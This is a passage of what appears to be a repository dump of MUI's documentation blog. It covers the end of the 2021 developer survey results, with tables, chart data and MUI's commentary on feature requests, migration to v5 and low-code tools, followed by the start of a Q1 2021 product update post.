picker</th></tr>\n    <tr><td>18</td><td>date picker - ?</td></tr>\n    <tr><td>5</td><td>date picker - make stable</td></tr>\n    <tr><td>3</td><td>date picker - range selection</td></tr>\n    <tr><td>2</td><td>date picker - bugs</td></tr>\n    <tr><td>2</td><td>date picker - single range input</td></tr>\n    <tr><td>2</td><td>date picker - time clock is hideous</td></tr>\n    <tr><td>2</td><td>date picker - customizability</td></tr>\n    <tr><td>1</td><td>date picker - dayjs</td></tr>\n    <tr><td>1</td><td>date picker - add range</td></tr>\n    <tr><td>1</td><td>date picker - design</td></tr>\n    <tr><td>1</td><td>date picker - docs</td></tr>\n    <tr><td>1</td><td>date picker - keyboard</td></tr>\n    <tr><td>1</td><td>date picker - locales</td></tr>\n    <tr><td>1</td><td>date picker - rewrite</td></tr>\n    <tr><th>26</th><th>community</th></tr>\n    <tr><td>14</td><td>community - nurture</td></tr>\n    <tr><td>9</td><td>community - support</td></tr>\n    <tr><td>2</td><td>community - release communication</td></tr>\n    <tr><td>1</td><td>community - v4 support</td></tr>\n    <tr><th>20</th><th>icons</th></tr>\n    <tr><td>12</td><td>icons - more</td></tr>\n    <tr><td>3</td><td>icons - ?</td></tr>\n    <tr><td>1</td><td>icons - animation</td></tr>\n    <tr><td>1</td><td>icons - built-in</td></tr>\n    <tr><td>1</td><td>icons - dynamic loading</td></tr>\n    <tr><td>1</td><td>icons - fontawesome</td></tr>\n    <tr><td>1</td><td>icons - other libraries</td></tr>\n    <tr><th>19</th><th>accessibility</th></tr>\n    <tr><td>9</td><td>accessibility - implementation</td></tr>\n    <tr><td>6</td><td>accessibility - docs</td></tr>\n    <tr><td>2</td><td>accessibility - ?</td></tr>\n    <tr><td>2</td><td>accessibility - full audit</td></tr>\n    <tr><th>15</th><th>react native</th></tr>\n    <tr><th>10</th><th>low-code</th></tr>\n    <tr><td>7</td><td>low-code - design system creator</td></tr>\n    <tr><td>2</td><td>low-code - generate code from design files</td></tr>\n    <tr><td>1</td><td>low-code - UI builder</td></tr>\n    <tr><th>10</th><th>more opinionated</th></tr>\n    <tr><th>9</th><th>animations</th></tr>\n    <tr><td>6</td><td>animations - new API</td></tr>\n    <tr><td>1</td><td>animations - Framer Motion</td></tr>\n    <tr><td>1</td><td>animations - on existing components</td></tr>\n    <tr><td>1</td><td>animations - performance</td></tr>\n    <tr><th>7</th><th>fix more bugs</th></tr>\n    <tr><th>7</th><th>support other frameworkds (for example Vue)</th></tr>\n    <tr><th>5</th><th>autocomplete</th></tr>\n    <tr><td>3</td><td>autocomplete - ?</td></tr>\n    <tr><td>1</td><td>autocomplete - abbreviation</td></tr>\n    <tr><td>1</td><td>autocomplete - consistency with text field</td></tr>\n    <tr><th>4</th><th>legacy browser support</th></tr>\n    <tr><th>3</th><th>components consistency</th></tr>\n    <tr><th>2</th><th>less opinionanted</th></tr>\n    <tr><th>2</th><th>fix RTL</th></tr>\n    <tr><th>2</th><th>class components</th></tr>\n  </table>\n</details>\n\n<!-- vale MUI.CorrectReferenceAllCases = YES -->\n\nHave ideas for improvements? Please share them with us! Here's how to make sure that your requests get top priority:\n\n- When you create an issue to request features or components in the MUI Core or MUI X repositories, we'll label it as `Waiting for upvotes`.\n  The more votes your issue receives, the higher a priority it will become—so make sure to structure, research, and justify your request so it resonates with other community members.\n- When requesting a new component, make sure to benchmark existing implementations of it in the wild so we can see what works and what we could improve on.\n- Try to explain the problem you're having as clearly as possible — it's often the case that we already have a component to solve it.\n- If you're requesting easier customization, make sure to demonstrate the desired outcome, and explain where you're having trouble in as much detail as you can.\n  These requests often highlight opportunities for us to improve our documentation.\n\n## Your product\n\n### What were you primarily using before MUI?\n\n<img src=\"/static/blog/2021-developer-survey-results/7.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Bootstrap: 40.6%; Started with MUI: 37.4%; Tailwind:: 4.8%; Ant Design: 4.8%; Angular Material: 4%; Semantic-UI: 4%; Other: 3.8%; Chakra UI: 0.7%\" />\n\n<p class=\"blog-description\">1389 of 1589 answered.</p>\n\nThese results are not too different from last year, with the exception that far more developers reported starting with MUI (13% in 2020, and 37% in 2021).\nIt's very encouraging to know that so many of you are building your products with MUI right from the start!\n\n### Are you using any of these in addition to MUI?\n\n<img src=\"/static/blog/2021-developer-survey-results/8.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Nope, just MUI: 70.7%; Tailwind: 10.3%; Bootstrap: 9.8%; Ant Design: 4%; Semantic-UI: 1.7%; Other: 1.6%; Chakra UI: 1.2%; Angular Material: 0.8%\" />\n\n<p class=\"blog-description\">1468 out of 1589 answered.</p>\n\nWe're glad to see that MUI largely covers all of your needs for a component UI library—this is a major priority for us.\n\n### Who are you building for?\n\n<img src=\"/static/blog/2021-developer-survey-results/9.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"For the company I work at: 65.6%; For my personal side project: 20.8%; For a client: 12.9%; Other: 0.7%\" />\n\n<p class=\"blog-description\">1523 out of 1589 answered.</p>\n\nWhen compared with last year's results, client work and personal projects have swapped places this year.\nMaybe v5 got developers interested enough to try it on their own sites and apps? It's interesting to see, in any case.\n\n### Who do you collaborate most with?\n\n<img src=\"/static/blog/2021-developer-survey-results/10.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Other developers: 67.2%; Designers: 34.3%; Product managers: 29.2%; No one, it's just me: 28.9%; Other: 0.9%\" />\n\n<p class=\"blog-description\">1527 out of 1589 answered.</p>\n\nThis is a new question in our annual survey, and the results highlight the fact that our documentation is not just for developers.\nIt's crucial for our docs—and even the code itself—to be easily understood by designers, product managers, and other less technical team members who may be stakeholders in engineering projects.\n\n### How many web applications did you or your team deliver using MUI this year?\n\n<img src=\"/static/blog/2021-developer-survey-results/11.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"0-1: 494; 2-3: 381; 4-5: 122; 6-10: 26; 10+: 28\" />\n\n<p class=\"blog-description\">1051 out of 1589 answered.</p>\n\nRoughly half (47%) of those who responded to this question shipped one app or simply maintained an existing app.\nImpressively, 5% of respondents delivered six or more apps, and more than half of those surpassed 10!\n\n### Which MUI products do you use in your application?\n\n<img src=\"/static/blog/2021-developer-survey-results/12.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"MUI Core: MIT licensed foundational components, right now available with Material Design: 96.6%; MUI X: collection of advanced components available under MIT and commercial licenses: 14.7%; MIT License: 126 responses; Commercial licenses: 99 responses\" />\n\n<p class=\"blog-description\">1551 out of 1589 answered.</p>\n\nIt's not surprising to find out that most of our user base is here for MUI Core.\nBut it is very encouraging for us to see such a high proportion of MUI X users operating with commercial licenses, and we are excited to continue expanding on our paid products for these users.\n\nThere are a lot of opportunities in the MUI X space to unpack.\nLet's explore a little bit further below.\n\n### Did you know what MUI X was prior to this survey?\n\n<img src=\"/static/blog/2021-developer-survey-results/13.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Yes: 54.5%; No: 45.5%\" />\n\n<p class=\"blog-description\">1312 out of 1589 answered.</p>\n\nA large chunk of you didn't know what MUI X is prior to the survey, which makes it clear that we still have a lot to do to expand its reach.\n\n### Are you currently using any paid UI component library?\n\n<img src=\"/static/blog/2021-developer-survey-results/14.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Yes: 11.8%; No: 88.2%\" />\n\n<p class=\"blog-description\">1584 out of 1589 answered.</p>\n\nThe results are not very different from last year, aside from a slight increase of respondents saying yes.\nThe majority of respondents don't use any paid libraries, but those who do are mostly using MUI X. This demonstrates that some of our assumptions and execution might be correct! Developers' needs appears to not be completely fulfilled by the OSS ecosystem.\n\n### How can we improve the Data Grid for you?\n\n<img src=\"/static/blog/2021-developer-survey-results/15.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Customizability: 21.9%; Cheaper Pro plan: 17.2%; More features: 12.5%; Fix features: 9.4%; Improve docs: 6.3%; Look & feel: 6.3%; Maintain it: 4.7%; Bugs: 3.1%; DX: MUI Core consistency: 3.1%; Performance: 3.1%; Transition: 3.1%; SSR: 1.6%\" />\n\n<p class=\"blog-description\">64 out of 1589 answered.</p>\n\n- **Customizability:** This is a common topic for us, and it comes up often when discussing MUI X.\n  Your feedback tells us that we need to double down on our efforts to make customization easier.\n  We also recognize that we are still lacking some important documentation around theming, and headless APIs.\n- **Cheaper Pro plan:** We know it can be out of range for a lot of developers, and that's why the free version is already packed with many features.\n  MUI mainly develops open-source software, and we deeply value the OSS ethos of freely sharing what we build so that others can use it and improve upon it.\n  - The price of our Pro plan positions it as a product intended for use by teams at professional organizations.\n    That said, many who left feedback on the price are individuals, so there might be an opportunity to expand our offerings for those not backed by their company.\n- **More features & feature fixes:** Collapsible rows, column resizing, and features for ERP apps were some of the features requested.\n  And regarding features to fix, the most common requests were pagination with REST APIs, backend filtering, and cell editor.\n- **Improvements to the documentation:** The data grid docs could certainly use a major overhaul—we're working on it.\n- **Improvements to the look and feel:** Data grid builders want more default design options beyond Material.\n  In terms of UX improvements, many developers mention the filtering experience specifically.\n\n<details>\n  <summary>Click to see the breakdown of categories.</summary>\n  <table>\n    <tr><th style=\"width: 40px;\">14</th><th style=\"width: 700px;\">customizability</th></tr>\n    <tr><td>9</td><td>customizability - style</td></tr>\n    <tr><td>3</td><td>customizability - ?</td></tr>\n    <tr><td>2</td><td>customizability - docs</td></tr>\n    <tr><th>11</th><th>cheaper Pro plan</th></tr>\n    <tr><th>8</th><th>more features</th></tr>\n    <tr><td>3</td><td>more features - ?</td></tr>\n    <tr><td>2</td><td>more features - master detail</td></tr>\n    <tr><td>1</td><td>more features - row editing</td></tr>\n    <tr><td>1</td><td>more features - column pinning</td></tr>\n    <tr><td>1</td><td>more features - column resizing</td></tr>\n    <tr><th>6</th><th>fix features</th></tr>\n    <tr><td>3</td><td>fix features - filtering</td></tr>\n    <tr><td>1</td><td>fix features - editing</td></tr>\n    <tr><td>1</td><td>fix features - pagination</td></tr>\n    <tr><td>1</td><td>fix features - server-side</td></tr>\n    <tr><th>5</th><th>docs</th></tr>\n    <tr><td>4</td><td>docs - ?</td></tr>\n    <tr><td>1</td><td>docs - more examples</td></tr>\n    <tr><th>4</th><th>look and feel</th></tr>\n    <tr><th>3</th><th>maintain it</th></tr>\n    <tr><th>2</th><th>bugs</th></tr>\n    <tr><th>2</th><th>DX - MUI Core consistency</th></tr>\n    <tr><th>2</th><th>performance</th></tr>\n    <tr><th>2</th><th>translation</th></tr>\n    <tr><th>1</th><th>a11y</th></tr>\n    <tr><th>1</th><th>easier installation</th></tr>\n    <tr><th>1</th><th>fewer breaking changes</th></tr>\n    <tr><th>1</th><th>hook-only API</th></tr>\n    <tr><th>1</th><th>SSR</th></tr>\n  </table>\n</details>\n\n### How can we improve Data Grid Pro for you?\n\n<img src=\"/static/blog/2021-developer-survey-results/16.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"More features: 39.8%; Customizability: 20.4%; Fix features: 15.1%; Performance: 5.4%; Cheaper Premium plan: 3.2%; Improve docs: 3.2%; DX - API: 2.2%; LGPL license: 2.2%; More components: 2.2%\" />\n\n<p class=\"blog-description\">75 out of 1589 answered.</p>\n\n- **More features:** [Grouping](/x/react-data-grid/row-grouping/) was the most requested feature for the Data Grid Pro, followed by [master detail](/x/react-data-grid/master-detail/), aggregation, search, [tree data](/x/react-data-grid/tree-data/), and [column pinning](/x/react-data-grid/column-pinning/).\n  We've already released some of these in the time it took us to analyze the survey results.\n  Check the links to see their docs and demos.\n  Alternatively, you can follow [the public roadmap](https://github.com/orgs/mui/projects/35) to see when the others will land.\n- **Customizability:** The majority of requests about customizability were asking for possibilities to tweak data grid interactions, which we need to delve into more deeply to better understand.\n  Following next were requests for more style customizability, and more documentation on customization.\n- **Fix features:** Filtering got first place as the most requested feature to fix on Data Grid Pro.\n  Following next were lazy loading and server-side rendering support.\n- **Performance:** Requests about performance were mostly spread out between runtime and bundle size.\n  We must admit that we have put almost no effort into optimizing the bundle size so far.\n  There is likely some low-hanging fruit there.\n\n<details>\n  <summary>Click to see the breakdown of categories.</summary>\n  <table>\n    <tr><th style=\"width: 40px;\">37</th><th style=\"width: 700px;\">more features</th></tr>\n    <tr><td>6</td><td>more features - grouping</td></tr>\n    <tr><td>6</td><td>more features - master detail</td></tr>\n    <tr><td>6</td><td>more features - roadmap</td></tr>\n    <tr><td>4</td><td>more features - ?</td></tr>\n    <tr><td>3</td><td>more features - aggregation</td></tr>\n    <tr><td>3</td><td>more features - search</td></tr>\n    <tr><td>3</td><td>more features - tree data</td></tr>\n    <tr><td>2</td><td>more features - column pinning</td></tr>\n    <tr><td>2</td><td>more features - pivot</td></tr>\n    <tr><td>1</td><td>more features - excel</td></tr>\n    <tr><td>1</td><td>more features - row reordering</td></tr>\n    <tr><th>19</th><th>customizability</th></tr>\n    <tr><td>7</td><td>customizability - behavior</td></tr>\n    <tr><td>5</td><td>customizability - style</td></tr>\n    <tr><td>4</td><td>customizability - docs</td></tr>\n    <tr><td>2</td><td>customizability - ?</td></tr>\n    <tr><td>1</td><td>customizability - charts in cells</td></tr>\n    <tr><th>14</th><th>fix features</th></tr>\n    <tr><td>10</td><td>fix features - filtering</td></tr>\n    <tr><td>2</td><td>fix features - lazy loading</td></tr>\n    <tr><td>2</td><td>fix features - server-side</td></tr>\n    <tr><th>5</th><th>performance</th></tr>\n    <tr><td>3</td><td>performance - ?</td></tr>\n    <tr><td>1</td><td>performance - bundle size</td></tr>\n    <tr><td>1</td><td>performance - runtime</td></tr>\n    <tr><th>4</th><th>docs</th></tr>\n    <tr><td>3</td><td>docs - ?</td></tr>\n    <tr><td>1</td><td>docs - more examples</td></tr>\n    <tr><th>3</th><th>cheaper premium plan</th></tr>\n    <tr><th>2</th><th>bugs</th></tr>\n    <tr><th>2</th><th>DX - API</th></tr>\n    <tr><th>2</th><th>LGPL License</th></tr>\n    <tr><th>2</th><th>more components - treeview</th></tr>\n    <tr><th>2</th><th>overflow text</th></tr>\n    <tr><th>1</th><th>DX - MUI Core consistency</th></tr>\n    <tr><th>1</th><th>UX</th></tr>\n  </table>\n</details>\n\n### What were you using before the data grid?\n\n<img src=\"/static/blog/2021-developer-survey-results/17.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"In house: 29.9%; MUI Table: 17.9%; Nothing: 7.5%; material-table: 6%; material-datatables: 6%; Sencha: 6%; Kendo UI: 4.5%; react-table: 4.5%; Bootstrap Table: 3%; AG Grid: 3%; datatables.net: 3%; JSP: 1.5%\" />\n\n<p class=\"blog-description\">149 out of 1589 answered.</p>\n\nIt's interesting to see that a lot of you are building your own in-house data grids.\nWe'd love to know more about why your team made this choice, especially because we know exactly how much work it can be.\nAlso, it's refreshing to see that the standard MUI table components are adequate for many of you.\n\n### What are you building?\n\n<img src=\"/static/blog/2021-developer-survey-results/18.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Dashboard admin applications: 26.3%; Enterprise applications: 25.9%; A custom design system: 9.7%; Landing page: 8.1%; E-commerce application: 7.8%; Personal website/portfolio: 6.9%; CMS: 6.1%; Just playing with tech: 4.6%; Blog: 2.8%; Other: 1.4%\" />\n\nEnterprise, dashboard applications, and design systems continue to be in the top 3, similar to last year.\nWhat's changed is that developers are now using MUI more to build e-commerce apps and portfolios, which is pretty cool.\nWe'd love to see them! Feel free to share in the [\"Who's using Material UI?\" issue](https://github.com/mui/material-ui/issues/22426).\n\n### What delivery mechanisms are you using?\n\n<img src=\"/static/blog/2021-developer-survey-results/19.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Single-page app (Create React App, etc): 74.7%; Server-side rendered website (Next.js, Gastby, etc): 20.8%; Desktop app (Electron, etc): 3.5%; Native mobile app (Cordova, etc): 0.6%; Other: 0.4%\" />\n\n<p class=\"blog-description\">1509 out of 1589 answered.</p>\n\n### What type system are you using?\n\n<img src=\"/static/blog/2021-developer-survey-results/20.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"TypeScript: 63.8%; None: 18%; prop-types: 16.6%; Flow: 1.4%; Other: 0.2%\" />\n\n<p class=\"blog-description\">1501 out of 1589 answered.</p>\n\nThese results are very different from last year—TypeScript took off, and it's now the primary type system used out there.\n\n### Which framework are you using, if any?\n\n<img src=\"/static/blog/2021-developer-survey-results/21.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Create React App: 62.4%; Next.js: 21.9%; Custom webpack: 10.7%; None: 2.6%; Gatsby: 0.9%; Other: 1.5%\" />\n\n<p class=\"blog-description\">1497 out of 1589 answered.</p>\n\nThis year we saw a considerable bump the use of Next.js (compared with 12.4% in 2020), which is not surprising due to its increasing popularity and the advancements it gained in 2021.\n\n### What styling solution are you using?\n\n<img src=\"/static/blog/2021-developer-survey-results/22.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"MUI Core v4 (JSS): 45%; Styled components: 37.9%; Emotion: 30.2%; SASS: 20.8%; CSS Modules: 18.9%; Vanilla CSS: 17.6%; Tailwind CSS: 9.1%; Stitches: 0.4%; Other: 1.2%\" />\n\n<p class=\"blog-description\">1492 out of 1589 answered.</p>\n\nAs the MUI Core v5 release is relatively recent, we expect to see many developers still using JSS, and there will probably always be some of you who prefer it.\n\nBut the growth of Emotion and styled-components here is noteworthy, because they are what our new styling solution is based on.\nThis year we'll be focusing on expanding and refining [MUI System](/system/getting-started/the-sx-prop/) to further improve upon this new styling solution.\n\n### Did you recently migrate to MUI Core v5?\n\n<img src=\"/static/blog/2021-developer-survey-results/23.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Yes: 63.3%; No: 36.7%\" />\n\n<p class=\"blog-description\">1546 out of 1589 answered.</p>\n\nThough many of you who answered the survey have already migrated, we still have many more to convince to come along with us.\nFor the year ahead we'll focus strongly on refining the documentation, and improving automation tools.\n\n### What's the statement that most defines your migration experience?\n\n<img src=\"/static/blog/2021-developer-survey-results/24.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"It was tricky but MUI's documentation and resources helped me to get it right: 43%; It was smooth and it is now working fine: 38.5%; It wasn't good, I had many problems and it took me a long time to finish: 14.3%; It was bad and I ended up regretting it: 2.8%; Other: 1.4%\" />\n\n<p class=\"blog-description\">930 out of 1589 answered.</p>\n\n### What could MUI do to improve the migration experience?\n\n<img src=\"/static/blog/2021-developer-survey-results/25.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"General documentation improvements: 43.2%; Automation: 20.7%: Fewer breaking changes: 15.6%; Fewer styling solution breaking changes: 8.5%; More tutorials: 5.4%; More styling solution migration tutorial: 4.4%; Migrate Core and X together: 1%\" />\n\n<p class=\"blog-description\">472 out of 1589 answered.</p>\n\n- **General documentation improvement:** Documentation plays a huge part in defining the developer experience.\n  We definitely need to refine our writing, provide more examples, and offer more beginner-friendly resources.\n- **Automation:** We prepared codemods to help with the v5 migration, given the number of changes.\n  This has been met with positive feedback, which is encouraging since it's our first time providing comprehensive tools to automate the migration process.\n  However, it is becoming clear how and when the codemods weren't too effective, so we'll make sure to refine it more.\n\n### Could you share the reason why you haven't migrated yet?\n\n<img src=\"/static/blog/2021-developer-survey-results/26.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"No bandwidth: 28.4%; Started in v5: 14.6%; Afraid of amount of breaking changes: 12.3%; Already planned but haven't started: 9.5%; Missing incentive: 8.5%; Not a priority: 7.3%; Don't like new styling solution: 4%; Blocked by 3rd party dependencies: 3.3%; Didn't know about it: 3.3%; Migration is in process: 3.3%; Had regressions, therefore came back to v4: 1.3%; Waiting to become stable: 1.3%\" />\n\n<p class=\"blog-description\">441 out of 1589 answered.</p>\n\n- **No bandwidth / not a priority / blocked by third-party dependencies:** These reasons can all be lumped together as \"forces beyond your control.\" That's to be expected, but we'll continue to do what we can to persuade your team to migrate, and to make the migration as smooth as possible when you're ready.\n- **Afraid of the amount of breaking changes:** That fear is understandable, and we still have a great deal of work to do with documentation, automation, and other resources to help minimize the friction involved in migrating.\n- **Don't like the new styling solution:** We believe that's totally fair.\n  Not everyone will buy every move.\n  However, as with any open-source project, you always have the opportunity to weigh in and leave your thoughts about any given endeavor we're considering.\n  [The issue discussing the chosen styling solution](https://github.com/mui/material-ui/issues/22342) was a big one, and every contribution made a difference in the ultimate decision.\n  Please don't hesitate to participate in these open discussions—especially if you see something you disagree with.\n- **Didn't know about it:** That's something we really need to work on! We'll be exploring new ways to engage with our community in the coming months.\n- **Regressions - had to go back to v4:** If this happens to you, please open an issue regarding the problems you're facing and we'll be happy to guide you.\n\n### Have you, or anyone from your team, used any low-code tools for helping with the development of your product?\n\n<img src=\"/static/blog/2021-developer-survey-results/27.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Yes: 16.1%; No: 83.9%\" />\n\n<p class=\"blog-description\">1542 out of 1589 answered.</p>\n\nWe see a lot of potential in low-code tools to reach a much wider audience beyond developers, for better collaboration and faster development.\nSince our existing users are quite tech-literate people, it shouldn't be surprising that over 80% of you are not using low-code tools.\nBut for the 16% who said yes, we had the following questions.\n\n### What did it help you build?\n\n<img src=\"/static/blog/2021-developer-survey-results/28.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"An internal tool: 22.5%; Landing pages: 22.1%; Analytics dashboard: 17.6%; A design system: 15.6%; E-commerce storefront: 8.6%; A simple customer-facing mobile app: 6.6%; Other: 7%\" />\n\n<p class=\"blog-description\">244 out of 1589 answered.</p>\n\nMUI users are mainly working with low-code tools to build internal tools, landing pages, and analytics dashboards.\nThese findings align with what the rest of our users are building as well.\nBut it is great to see that there are low-code tools in the market that developers trust.\n\n### If MUI considered building a low-code tool, what primary use case would match your needs?\n\n<img src=\"/static/blog/2021-developer-survey-results/29.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Deliver a React design system: 22.2%; Generate high-quality React codebase after visual building: 19.2%; Building dashboards for rapid data visualization: 18.3%; Higher fidelity prototyping and demoing for accurate design handoff: 13.6%; Building internal apps when pro-code is overkill: 11.4%; Shipping landing pages with my existing React design system: 7.3%; Shipping production simple apps before moving to pro-code: 6.2%; Other: 1.8%\" />\n\n<p class=\"blog-description\">1200 out of 1589 answered.</p>\n\nDevelopers are mostly interested in React design systems, codebase generators, tools for internal needs, data visualization, and prototyping.\nThese needs are both for internal and customer-facing use-cases.\n\n## About you\n\n### How did you first hear about MUI?\n\n<img src=\"/static/blog/2021-developer-survey-results/30.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Organic search: 57.8%; Word of mouth: 25.8%; Social media: 8.4%; Blog: 4.4%; Other: 3.5%\" />\n\n<p class=\"blog-description\">1417 out of 1589 answered.</p>\n\n### Which of the following best describes your current job role?\n\n<img src=\"/static/blog/2021-developer-survey-results/31.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Full-stack developer: 52.6%; Front-end developer: 30.5%; Entrepreneur (I do it all!): 7.5%; Beginner learning web development: 2.6%; Engineering Manager: 2.6%; Back-end developer: 1.1%; Designer: 1%; Product Manager: 0.7%; Other: 1.3%\" />\n\n<p class=\"blog-description\">1497 out of 1589 answered.</p>\n\n### How many total employees work at your current place of employment?\n\n<img src=\"/static/blog/2021-developer-survey-results/32.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"0-1: 187; 2-10: 358; 11-20: 136; 21-50: 139; 51-100: 97; 100+: 305\" />\n\n<p class=\"blog-description\">1222 out of 1589 answered.</p>\n\n### How long have you been developing with JavaScript?\n\n<img src=\"/static/blog/2021-developer-survey-results/33.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Just getting started: 4.8%; 1 year +: 22.2%; 3 years +: 27.9%; 5 years +: 28.2%; 10 years +: 11.1%; 15 years +: 5.9%\" />\n\n<p class=\"blog-description\">1520 out of 1589 answered.</p>\n\n### How long have you been developing with React?\n\n<img src=\"/static/blog/2021-developer-survey-results/34.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Just getting started: 7%; 6 months +: 11%; 1 year +: 20.6%; 2 years +: 21.2%; 3 years +: 27.1%; 5 years +: 11.5%; Bleeding edge baby! 6 years +: 1.6%\" />\n\n<p class=\"blog-description\">1523 out of 1589 answered.</p>\n\n### How long have you been developing with MUI?\n\n<img src=\"/static/blog/2021-developer-survey-results/35.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Just getting started: 16.6%; 6 months +: 19.4%; 1 year +: 24.4%; 2 years +: 21.2%; 3 years +: 15.6%; I'm a pioneer! 5 years +: 2.8%\" />\n\n<p class=\"blog-description\">1519 out of 1589 answered.</p>\n\n## Conclusion\n\nThe annual survey is one of the most important resources we have for deciding on our next steps.\nWe appreciate all the time you invested in answering our questions, and we can't stress enough how much we value your input.\n\nIn 2021, we released the largest update that MUI has ever seen.\nWe also began investing in complementary products, such as [MUI X](/x/), our [design kits](/design-kits/), and [premium templates](/templates/).\n\nYour feedback from this survey helped us to better understand the areas where we need to improve:\n\n- **Documentation:** You've asked for more examples, more tutorials, more learning materials, and more comprehensive docs.\n  Most third-party content about Material UI became outdated with the release of v5, so we have much work to do to pick up the slack.\n- **Customization:** A new styling tool was an important step in the right direction for more customizability.\n  We recognize that there are still many more opportunities to improve the experience of customizing MUI components.\n- **Design quality:** Design continues to be the main driving aspect that guides a decision towards a given component library.\n  A growing number of developers are moving away from MUI because of Material Design being the only design direction provided out-of-the-box, and that's a huge warning sign for us to explore other roads.\n- **Breaking changes:** The need for fewer breaking changes does highlight one very positive point: numerous applications depend on MUI as their component library of choice.\n  To continue supporting your products, we'll look for ways to minimize the number of breaking changes in future updates.\n  We'll also continue exploring automation tools to ease the pain of any breaking changes that do come up.\n- **Commercial vs.\n  MIT balance:** MUI will always be an OSS project first and foremost, but we are getting a lot of positive feedback from our paid products and support services, which tells us that we're heading in the right direction.\n  We are rapidly expanding our team to better address the needs of all of our users, and we look forward to making both our MIT-licensed and commercial offerings even more robust and compelling. If you want to understand more about our view of the MIT/open-source balance, check our [Stewardship page](https://mui-org.notion.site/Stewardship-542a2226043d4f4a96dfb429d16cf5bd).\n- **Performance:** We're still looking for the most effective ways to optimize performance.\n  TypeScript has potential, and MUI System's speed needs work.\n  This is especially [important for mobile experiences](https://www.youtube.com/watch?v=mLjxXPHuIJo&t=76s).\n  We welcome your suggestions!\n\nIf you want to continue to influence our roadmap, you can visit the [Material UI](https://github.com/mui/material-ui) and [MUI X](https://github.com/mui/mui-x) repositories, open issues, upvote the ones you're most interested in, or leave your thoughts about anything else you want to be improved. We'd love to hear from you.\n\n<video autoplay muted loop playsinline width=\"2914\" height=\"1440\">\n  <source src=\"/static/blog/2019-developer-survey-results/vote.mp4\" type=\"video/mp4\" />\n</video>\n\n<p class=\"blog-description\">Help us prioritize by upvoting.</p>\n\nThanks again and until the next survey!\n\n### Read more\n\nHere is some additional content related to the topics covered throughout this post:\n\n- [How to migrate from v4 to v5](/material-ui/migration/migration-v4/)\n- [Style library interoperability](/material-ui/integrations/interoperability/)\n- [Approaches to customizing Material UI components](/material-ui/customization/how-to-customize/)\n\nLastly, check out the last two iterations on the MUI Developer Survey:\n\n- [2020 edition](/blog/2020-developer-survey-results/)\n- [2019 edition](/blog/2019-developer-survey-results/)\n"
  },
  {
    "path": "docs/pages/blog/2021-q1-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2021-q1-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2021-q1-update.md",
    "content": "---\ntitle: Q1 2021 Update\ndescription: An update on our mission for Q1 2021.\ndate: 2021-04-12T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nThis update covers our progress over the last three months, and what we aim to achieve in the months ahead.\n\n## Product\n\nHere are the most significant improvements since December 2020.\n\n### Core components\n\n- 👩‍🎤 We have worked on rolling out and scaling the new **styling engine** to all the components.\n  At this point, we have migrated 129 out of 167 components to emotion/styled-components.\n  Most of the components left to be migrated are in the lab.\n  We are almost done! You can subscribe to [material-ui#24405](https://github.com/mui/material-ui/issues/24405) to be notified once finished.\n  The community has provided invaluable assistance.\n- 📚 To complement the migration of the components, we have worked on the migration of the code examples in the documentation,\n  favoring the `sx` prop where possible.\n  When a component needs to render styles based on the provided props, we have used the `styled` API.\n  Effectively, `makeStyle` and `withStyles` have been removed from the demos (we will deprecate these modules later on).\n  You can subscribe to [material-ui#16947](https://github.com/mui/material-ui/issues/16947) to be notified once finished.\n- 📚 We have used the update of the documentation as an opportunity to break down the demos into smaller **single-focus** ones, with inline previews.\n  For instance:\n\n  <img src=\"/static/blog/2021-q1-update/docs-before.png\" alt=\"\" style=\"width: 526px; margin-top: 16px;\" />\n\n  <p class=\"blog-description\">Before</p>\n\n  was turned into multiple chunks, among them:\n\n  <img src=\"/static/blog/2021-q1-update/docs-after.png\" alt=\"\" style=\"width: 525px; margin-top: 16px;\" />\n\n  <p class=\"blog-description\">After</p>\n\n- 🥞 We have introduced a new `<Stack>` component.\n  It handles one-dimensional layouts.\n  It allows working around the lack of browser support for the flexbox `gap` CSS property ([no support](https://caniuse.com/flexbox-gap) in Safari).\n\n  <img src=\"/static/blog/2021-q1-update/stack.png\" alt=\"\" style=\"width: 502px; margin-bottom: 16px;\" />\n\n  You can find [more details](https://mui.com/material-ui/react-stack/) in the documentation.\n\n- 🎨 We have improved the support for custom colors and variants.\n  This is [one](https://github.com/mui/material-ui/issues/13875) of the most upvoted issues in the GitHub issue tracker.\n  The migration to the new style engine allows us to fully rely on dynamic styles.\n  Developers can now do the following:\n\n```jsx\nimport { createMuiTheme, Button } from 